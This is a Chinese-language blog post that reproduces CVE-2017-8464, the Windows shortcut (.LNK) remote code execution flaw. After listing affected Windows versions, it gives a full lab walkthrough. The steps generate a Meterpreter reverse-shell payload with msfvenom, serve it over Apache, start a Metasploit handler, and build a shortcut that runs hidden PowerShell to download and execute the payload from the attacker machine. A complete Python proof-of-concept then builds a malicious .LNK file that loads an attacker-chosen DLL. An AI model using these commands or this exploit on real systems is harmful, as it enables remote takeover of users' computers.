CVE-2017-8464遠端命令執行漏洞復現

FLy_鵬程萬里發表於2018-05-25

前言

2017年6月13日,微軟官方釋出編號為CVE-2017-8464的漏洞公告,官方介紹Windows系統在解析快捷方式時存在遠端執行任意程式碼的高危漏洞,黑客可以通過U盤、網路共享等途徑觸發漏洞,完全控制使用者系統,安全風險高危。

漏洞描述

攻擊者可以向使用者呈現包含惡意的.LNK檔案和相關聯的惡意二進位制檔案的可移動驅動器或遠端共享。 當使用者在Windows資源管理器或解析.LNK檔案的任何其他應用程式中開啟此驅動器(或遠端共享)時,惡意二進位制程式將在目標系統上執行攻擊者選擇的程式碼,成功利用此漏洞的攻擊者可以獲得與本地使用者相同的使用者許可權。 

該漏洞的影響範圍

● Microsoft Windows 10 Version 1607 for 32-bit Systems 
● Microsoft Windows 10 Version 1607 for x64-based Systems 
● Microsoft Windows 10 for 32-bit Systems 
● Microsoft Windows 10 for x64-based Systems 
● Microsoft Windows 10 version 1511 for 32-bit Systems 
● Microsoft Windows 10 version 1511 for x64-based Systems 
● Microsoft Windows 10 version 1703 for 32-bit Systems 
● Microsoft Windows 10 version 1703 for x64-based Systems 
● Microsoft Windows 7 for 32-bit Systems SP1 
● Microsoft Windows 7 for x64-based Systems SP1 
● Microsoft Windows 8.1 for 32-bit Systems 
● Microsoft Windows 8.1 for x64-based Systems 
● Microsoft Windows RT 8.1

伺服器系統

● Microsoft Windows Server 2008 R2 for Itanium-based Systems SP1 
● Microsoft Windows Server 2008 R2 for x64-based Systems SP1 
● Microsoft Windows Server 2008 for 32-bit Systems SP2 
● Microsoft Windows Server 2008 for Itanium-based Systems SP2 
● Microsoft Windows Server 2008 for x64-based Systems SP2 
● Microsoft Windows Server 2012 
● Microsoft Windows Server 2012 R2 
● Microsoft Windows Server 2016

漏洞復現

利用原理:

建立惡意快捷方式,包含惡意執行指令碼,點選惡意快捷方式,導致本機中病毒。

環境搭建:

  • 攻擊機:kalilinux;ip:192.168.1.194
  • 目標靶機:window7 32位旗艦版;IP:192.168.1.102 

1、執行kali linux;在終端中生成一個反彈shell;執行:msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.194 lport=5555 -f psh-reflection>/opt/search.ps1 
如果目標機是64位主機那麼執行命令:msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.194 lport=5555 -f psh-reflection>/opt/search.ps1 


2、接下來檢視所需要的檔案是否建立成功;cd 到/opt目錄下,使用ls命令檢視生成的檔案;


3、接下來將生成的search.ps1檔案copy到/var/www/html目錄下;然後將Apache伺服器啟動:service apache2 start 


4、然後訪問http://192.168.1.194/search.ps1 


5、在kali終端中啟動MSF工具;執行:msfconsole 


6、然後再msf中以此設定引數: 
msf > use exploit/multi/handler //使用工具 
msf > set payload windows/meterpreter/reverse_tcp //設定payload; 
如果是64位目標機 執行set payload windows/x64/meterpreter/reverse_tcp 
msf > set LHOST 192.168.1.194 //設定主機IP 
msf > set lport 5555 //設定監聽埠 
msf > exploit //執行 


7、在目標機中建立快捷鍵;在物件的位置中輸入:powershell -windowstyle hidden -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘http://192.168.1.194/search.ps1’);test.ps1”;然後點選下一步 


8、快捷名稱命名為:powershell.exe;(我這裡是預設的powershell.exe) 


9、然後執行建立的powershell.exe快捷鍵; 


10、在kali中msf從監聽模式變成如下形式,已經獲取目標機shell;執行ls命令;可見所列出的檔案已經不再linux中了;而是在目標機的C盤下; 


11、然後直接執行shell命令,現在就可以在終端中執行DOS命令了,然後就可以為所欲為了~~~; 


POC

#!/usr/bin/python
# -*- coding: utf-8 -*-

# Title             : CVE-2017-8464 | LNK Remote Code Execution Vulnerability
# CVE               : 2017-8464
# Authors           : [ykoster, nixawk]
# Notice            : Only for educational purposes.
# Support           : python2

import struct


def generate_SHELL_LINK_HEADER():
    # _________________________________________________________________
    # | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
    # |0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1|
    # -----------------------------------------------------------------
    # |  HeaderSize                                                   |
    # -----------------------------------------------------------------
    # |  LinkCLSID (16 bytes)                                         |
    # -----------------------------------------------------------------
    # |  ...                                                          |
    # -----------------------------------------------------------------
    # |  ...                                                          |
    # -----------------------------------------------------------------
    # |  LinkFlags                                                    |
    # -----------------------------------------------------------------
    # |  FileAttributes                                               |
    # -----------------------------------------------------------------
    # |  CreationTime                                                 |
    # -----------------------------------------------------------------
    # |  ...                                                          |
    # -----------------------------------------------------------------
    # |  AccessTime                                                   |
    # -----------------------------------------------------------------
    # |  ...                                                          |
    # -----------------------------------------------------------------
    # |  WriteTime                                                    |
    # -----------------------------------------------------------------
    # |  ...                                                          |
    # -----------------------------------------------------------------
    # |  FileSize                                                     |
    # -----------------------------------------------------------------
    # |  IconIndex                                                    |
    # -----------------------------------------------------------------
    # |  ShowCommand                                                  |
    # -----------------------------------------------------------------
    # |  HotKey                       |   Reserved1                   |
    # -----------------------------------------------------------------
    # |  Reserved2                                                    |
    # -----------------------------------------------------------------
    # |  Reserved3                                                    |
    # -----------------------------------------------------------------

    shell_link_header = [
        b'\x4c\x00\x00\x00',                                                 # "HeaderSize"     : (4 bytes)
        b'\x01\x14\x02\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46', # "LinkCLSID"      : (16 bytes) HKEY_CLASSES_ROOT\CLSID\{00021401-0000-0000-C000-000000000046}
        b'\x81\x00\x00\x00',                                                 # "LinkFlags"      : (4 bytes)  0x81 = 0b10000001 = HasLinkTargetIDList + IsUnicode
        b'\x00\x00\x00\x00',                                                 # "FileAttributes" : (4 bytes)
        b'\x00\x00\x00\x00\x00\x00\x00\x00',                                 # "CreationTime"   : (8 bytes)
        b'\x00\x00\x00\x00\x00\x00\x00\x00',                                 # "AccessTime"     : (8 bytes)
        b'\x00\x00\x00\x00\x00\x00\x00\x00',                                 # "WriteTime"      : (8 bytes)
        b'\x00\x00\x00\x00',                                                 # "FileSize"       : (4 bytes)
        b'\x00\x00\x00\x00',                                                 # "IconIndex"      : (4 bytes)
        b'\x00\x00\x00\x00',                                                 # "ShowCommand"    : (4 bytes)
        b'\x00\x00',                                                         # "HotKey"         : (2 bytes)
        b'\x00\x00',                                                         # "Reserved1"      : (2 bytes)
        b'\x00\x00\x00\x00',                                                 # "Reserved2"      : (4 bytes)
        b'\x00\x00\x00\x00',                                                 # "Reserved3"      : (4 bytes)
    ]

    return b"".join(shell_link_header)


def generate_LINKTARGET_IDLIST(path, name):
    # _________________________________________________________________
    # | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
    # |0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1|
    # -----------------------------------------------------------------
    # | IDListSize                     |   IDList(variable)           |
    # -----------------------------------------------------------------
    # |  ...                                                          |
    # -----------------------------------------------------------------

    # IDList = ItemID + ItemID + ... + TerminalID
    #          ItemID = ItemIDSize + Data

    def generate_ItemID(Data):
        itemid = [
            struct.pack('H', len(Data) + 2),  # ItemIDSize + len(Data)
            Data
        ]
        # ItemIDSize = struct.pack('H', len(Data) + 2)  # ItemIDSize + len(Data)

        # return ItemIDSize + Data

        return b"".join(itemid)

    def generate_cpl_applet(path, name=name):
        name += b'\x00'
        path += b'\x00'

        bindata = [
            b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x6a\x00\x00\x00\x00\x00\x00',
            struct.pack('H', len(path)),
            struct.pack('H', len(name)),
            path.encode('utf-16')[2:],
            name.encode('utf-16')[2:],
            b"\x00\x00"  # comment
        ]

        return b"".join(bindata)

    idlist = [
        # ItemIDList

        generate_ItemID(b'\x1f\x50\xe0\x4f\xd0\x20\xea\x3a\x69\x10\xa2\xd8\x08\x00\x2b\x30\x30\x9d'),
        generate_ItemID(b'\x2e\x80\x20\x20\xec\x21\xea\x3a\x69\x10\xa2\xdd\x08\x00\x2b\x30\x30\x9d'),
        generate_ItemID(generate_cpl_applet(path)),

        b'\x00\x00',  # TerminalID
    ]

    idlist = b"".join(idlist)
    idlistsize = struct.pack('H', len(idlist))

    linktarget_idlist = [
        idlistsize,
        idlist,
    ]

    return b"".join(linktarget_idlist)


def generate_EXTRA_DATA():
    # ExtraData refers to a set of structures that convey additional information about a link target. These
    # optional structures can be present in an extra data section that is appended to the basic Shell Link
    # Binary File Format.

    # EXTRA_DATA = *EXTRA_DATA_BLOCK TERMINAL_BLOCK

    # EXTRA_DATA_BLOCK = CONSOLE_PROPS / CONSOLE_FE_PROPS / DARWIN_PROPS /
    #  ENVIRONMENT_PROPS / ICON_ENVIRONMENT_PROPS /
    # KNOWN_FOLDER_PROPS / PROPERTY_STORE_PROPS /
    # SHIM_PROPS / SPECIAL_FOLDER_PROPS /
    # TRACKER_PROPS / VISTA_AND_ABOVE_IDLIST_PROPS

    # SpecialFolderDataBlock

    # _________________________________________________________________
    # | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
    # |0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1|
    # -----------------------------------------------------------------
    # | BlockSize                                                     |
    # -----------------------------------------------------------------
    # | BlockSignatire                                                |
    # -----------------------------------------------------------------
    # | SpecialFolderID                                               |
    # -----------------------------------------------------------------
    # | Offset                                                        |
    # -----------------------------------------------------------------

    extra_data = [
        b'\x10\x00\x00\x00',
        b'\x05\x00\x00\xA0',
        b'\x03\x00\x00\x00',
        b'\x28\x00\x00\x00',
        b'\x00\x00\x00\x00'   # TERMINAL_BLOCK
    ]

    return b"".join(extra_data)


def ms_shllink(path, name=b"Microsoft"):
    '''build Shell Link (.LNK) Binary File Format'''

    lnk_format = [

        # Structures

        # SHELL_LINK = SHELL_LINK_HEADER [LINKTARGET_IDLIST] [LINKINFO]
        #              [STRING_DATA] *EXTRA_DATA


        # SHELL_LINK_HEADER:
        #     A ShelllinkHeader structure which contains identification information, timestamps, and
        #     flags that specify the presence of optional structures.

        generate_SHELL_LINK_HEADER(),

        # LINKTARGET_IDLIST:
        #     An optional LinkTargetIDList structure,  which specifies the target of the link. The
        #     presence of this structure is specified by the HasLinkTargetIDList bit in the ShellLinkHeader.
        #
        #

        generate_LINKTARGET_IDLIST(path, name),

        # LINKINFO:
        #     An optional LinkInfo structure, which specifies information necessary to resolve the link target.
        #     The presence of this structure is specified by the HasLinkInfo bit in the ShellLinkHeader.

        # STRING_DATA:
        #     Zero or more optional StringData structures, which are used to convey user interface and path
        #     identification information. The presence of these structures is specified by bits in the ShellLinkHeader.

        # STRING_DATA = [NAME_STRING] [RELATIVE_PATH] [WORKING_DIR]
        #     [COMMAND_LINE_ARGUMENTS] [ICON_LOCATION]

        # EXTRA_DATA:
        #     Zero or more ExtraData structures

        generate_EXTRA_DATA()
    ]

    return b"".join(lnk_format)


if __name__ == '__main__':
    import sys

    if len(sys.argv) != 3:
        print("[*] Name : CVE-2017-8464 | LNK Remote Code Execution Vulnerability")
        print("[*] Usage: %s </path/to/test.lnk> </path/to/test.dll>" % sys.argv[0])
        sys.exit(0)

    lnkpath = sys.argv[1]
    dllpath = sys.argv[2]

    bindata = ms_shllink(path=dllpath)

    with open(lnkpath, 'wb') as lnkf:
        lnkf.write(bindata)


## References

# 1. https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8464
# 2. https://msdn.microsoft.com/en-us/library/dd871305.aspx
# 3. https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-SHLLINK/[MS-SHLLINK]-160714.pdf
# 4. https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf
# 5. https://support.microsoft.com/en-us/help/149648/description-of-control-panel--cpl-files
# 6. https://twitter.com/mkolsek/status/877499744704237568
# 7. https://community.saas.hpe.com/t5/Security-Research/Full-details-on-CVE-2015-0096-and-the-failed-MS10-046-Stuxnet/ba-p/251257#.WXi4uNPys6g
# 8. https://github.com/rapid7/metasploit-framework/pull/8767
 

相關文章